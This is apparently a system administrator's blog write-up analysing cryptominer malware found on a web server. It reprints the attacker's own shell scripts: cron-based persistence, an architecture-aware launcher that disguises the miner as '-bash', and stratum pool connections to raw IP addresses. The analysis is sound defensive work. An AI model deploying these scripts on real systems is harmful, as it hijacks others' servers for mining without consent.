Here’s part 2. of the Holiday minerware write ups, you can check out part 1 here.
So lets dig in to Case 2.
Alert method: Load on the server
This case was first reported as a load investigation on a web server. The tech onsite was quickly able to determine the running process responsible for the load and stop it from running. Was running around a load output of 12, dropped to around 1 after killing the process.
userone 22452 1456 0.3 1300424 32036 ? Sl Dec20 30656:04 -bash -a cryptonight -o stratum+tcp://198.251.81.82:3333 -u XXXXcM6jT98iJdyygxmYv5MS5AwHsKXXCETDJdKviWFMhogUzzgtgtUpJoTB3XWFuUcpFPZEQJ4gff3vQkeHnwuSdjfV18 -p x
Taking a look at the syntax in that ps output I had a suspicion that the miner in use is minerd. We can also see the use of the ever favored port 3333 in the configuration line, but here we are using a direct IP as opposed to a domain name like others we’ve encountered.
CPUMiner (forked by LucasJones & Wolf) CPU BitcoinTalk BitcoinTalk Github Example: minerd -a cryptonight -o stratum+tcp://monerohash.com:3333 -u YOUR_WALLET_ADDRESS -p x
So started to run some checks in the /tmp directory, bingo we’ve got some hits.
[root@host public_html]# grep -R cryptonight /tmp/ 2> /dev/null Binary file /tmp/.unix/.font-unix/deb matches Binary file /tmp/.unix/.font-unix/md matches Binary file /tmp/.unix/.font-unix/be matches Binary file /tmp/.unix/.font-unix/be1 matches Binary file /tmp/.unix/.font-unix/be2 matches ...[output omitted]... Binary file /tmp/.saq/.font-unix/deb matches Binary file /tmp/.saq/.font-unix/md matches Binary file /tmp/.saq/.font-unix/be matches Binary file /tmp/.saq/.font-unix/be1 matches Binary file /tmp/.saq/.font-unix/be2 matches ...[output omitted]...
Here we can see them trying to obscure the location using hidden directories with some innocuous names trying to pass off as font files. Let take a look in these directories and see whats there. Inspecting either of these directories reveals the following file structure.
-rwxr-xr-x 1 userone userone 305 Oct 23 12:13 a -rw-r--r-- 1 userone userone 6 Dec 25 08:06 bash.pid -rwxr-xr-x 1 userone userone 2979640 Jun 23 2017 be -rwxr-xr-x 1 userone userone 227220 Oct 22 10:25 be1 -rwxr-xr-x 1 userone userone 168896 Sep 27 06:58 be2 -rwxr-xr-x 1 userone userone 2547192 Nov 21 21:16 deb -rw-r--r-- 1 userone userone 553 Dec 19 09:12 EOF -rwxr-xr-x 1 userone userone 15125 Feb 20 2016 h32 -rwxr-xr-x 1 userone userone 838583 Feb 20 2016 h64 -rwxr-xr-x 1 userone userone 2547192 Nov 29 20:15 md -rwxr-xr-x 1 userone userone 794 Dec 19 09:04 run -rwxr-xr-x 1 userone userone 262 Dec 17 04:59 upd -rwxr-xr-x 1 userone userone 24 Dec 17 00:26 x
In this package we find a self contained ecosystem to make sure the miner is taking full advantage of the system it lands on. The first file in the list “a” sets up persistence by setting up a cron that will check to see if a bash process id is running.
pwd > dir.dir dir=$(cat dir.dir) echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep upd echo "#!/bin/sh if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > upd chmod u+x upd ./upd
If it does not find the pid it calls to the upd file, which you guessed is starts another miner process, the “run” file.
#!/bin/bash proc=`nproc` ARCH=`uname -m` HIDE="-bash" if [ "$ARCH" == "i686" ]; then ./h32 -s $HIDE ./be1 -a cryptonight -o stratum+tcp://213.32.29.143:13333 -u XXXXXenZrGDCPstNLWBzsXeMPorvHYJGWHQXjErX9cdZHUd3pqwK6M67zP5tTPbFocWPSt5seREGBjoAKhFPyYDj1urYNQMPXf -p x >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./h64 -s $HIDE ./be -a cryptonight -o stratum+tcp://92.222.180.118:13333 -u XXXXXenZrGDCPstNLWBzsXeMPorvHYJGWHQXjErX9cdZHUd3pqwK6M67zP5tTPbFocWPSt5seREGBjoAKhFPyYDj1urYNQMPXf -p x >>/dev/null & else ./h64 -s $HIDE ./be2 -a cryptonight -o stratum+tcp://213.32.29.143:13333 -u XXXXXenZrGDCPstNLWBzsXeMPorvHYJGWHQXjErX9cdZHUd3pqwK6M67zP5tTPbFocWPSt5seREGBjoAKhFPyYDj1urYNQMPXf -p x >>/dev/null & fi echo $! > bash.pid
Here in the run file it will look for the appropriate CPU architecture and call the best suited miner binary executable, before dropping the process id into the bash.pid file.
The x file gets the whole process started. The deb file is not called in a bash script but the executable binaries look to call it, may be a dependency packaged into the malware package in case the system is missing a piece.
nohup ./a > /dev/null &
So after checking this out looks like we can see some direct IP’s in use, mean DNS black holing won’t prevent this miner setup, requiring instead direct IP blacklists. Also after this and some other investigations, I’m seeing more instances of the miners living in the website home directories, so will be updating minerchk to inspect there as well.
Here’s what it looks like in action.
